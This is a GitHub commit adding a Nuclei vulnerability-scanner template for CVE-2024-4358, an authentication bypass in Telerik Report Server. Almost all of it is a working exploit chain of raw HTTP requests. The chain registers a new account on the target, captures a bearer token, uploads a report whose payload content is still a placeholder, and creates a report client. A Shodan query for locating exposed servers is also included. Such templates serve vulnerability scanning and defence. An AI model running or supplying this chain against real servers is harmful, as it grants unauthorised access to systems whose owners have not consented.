Create CVE-2024-4358.yaml

patch-4
Dhiyaneshwaran 2024-06-03 16:10:34 +05:30 committed by GitHub
parent 10e92b1204
commit 5addd1de0e
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 87 additions and 0 deletions

View File

@ -0,0 +1,87 @@
id: CVE-2024-4358
info:
name: Telerik Report Server - Authentication Bypass
author: DhiyaneshDK
severity: critical
description: |
In Progress Telerik Report Server, version 2024 Q1 (10.0.24.305) or earlier, on IIS, an unauthenticated attacker can gain access to Telerik Report Server restricted functionality via an authentication bypass vulnerability.
reference:
- https://summoning.team/blog/progress-report-server-rce-cve-2024-4358-cve-2024-1800/
- https://github.com/sinsinology/CVE-2024-4358
metadata:
shodan-query: "Log in | Telerik Report Server"
tags: cve,cve2024,telerik,progress,auth-bypass
variables:
user: "{{rand_base(6)}}"
pass: "{{rand_base(8)}}"
email: "{{randstr}}@{{rand_base(5)}}.com"
firstname: "{{rand_base(5)}}"
lastname: "{{rand_base(5)}}"
report: "{{to_lower(rand_text_alpha(8))}}"
content: {{}} ##To Be Added
http:
- raw:
- |
POST /Startup/Register HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Username={{user}}&Password={{pass}}&ConfirmPassword={{pass}}&Email={{email}}&FirstName={{firstname}}&LastName={{lastname}}
- |
POST /Token HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
grant_type=password&username={{user}}&password={{pass}}
- |
POST /api/reportserver/report HTTP/1.1
Host: {{Hostname}}
Authorization: Bearer {{token}}
Content-Type: application/json
{"reportName": "{{report}}", "categoryName": "Samples", "description": null, "reportContent": "{{content}}", "extension": ".trdp"}
- |
POST /api/reports/clients HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"timeStamp": null}
- |
POST /api/reports/clients/{{clientid}}/parameters HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"report": "NAME/Samples/{{report}}/", "parameterValues": {}}
matchers:
- type: dsl
dsl:
- 'contains(content_type_2, "application/json")'
- 'contains(body_2, "access_token") && contains(body_4, "clientId") && contains(body_5, "message")'
- 'status_code_2 == 200'
condition: and
extractors:
- type: regex
name: token
part: body_2
group: 1
regex:
- '"access_token":"([A-Z0-9a-z_-]+)"'
internal: true
- type: regex
name: clientid
part: body_4
group: 1
regex:
- '"clientId":"([a-z0-9]+)"'
internal: true